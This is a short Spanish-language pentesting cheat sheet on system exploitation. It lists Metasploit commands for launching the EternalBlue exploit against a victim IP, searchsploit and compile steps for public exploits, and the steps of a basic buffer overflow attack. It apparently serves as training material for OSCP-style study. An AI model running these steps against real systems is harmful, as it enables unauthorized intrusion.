Appearance
🖥️ Explotación de Sistemas
Ataques directos a servicios de infraestructura, sistemas operativos y binarios.
🔫 Metasploit Framework
La herramienta estándar para lanzar exploits conocidos.
Flujo Básico
- Buscar:
search eternalblue - Seleccionar:
use exploit/windows/smb/ms17_010_eternalblue - Configurar:
set RHOSTS <IP_VICTIMA>set LHOST <TU_IP>
- Lanzar:
run
💣 Exploits Públicos (Manual)
Si no quieres usar Metasploit (o para OSCP).
Searchsploit
Busca en la base de datos de Exploit-DB local.
bash
searchsploit Apache 2.4.49
searchsploit -m 12345.py # Copiar exploit a carpeta actualCompilación
A veces necesitas compilar exploits en C.
bash
gcc -o exploit exploit.c
./exploit💥 Buffer Overflow (Básico)
Cuando un programa escribe más datos de los que caben en el buffer, sobrescribiendo la memoria.
Pasos Generales
- Fuzzing: Encontrar en qué byte crashea la app.
- Offset: Calcular la distancia exacta al EIP (Instruction Pointer).
- Bad Chars: Identificar caracteres prohibidos (
\x00,\x0a...). - Shellcode: Generar payload con
msfvenom. - Exploit: Enviar payload para tomar control del EIP y saltar a tu shellcode.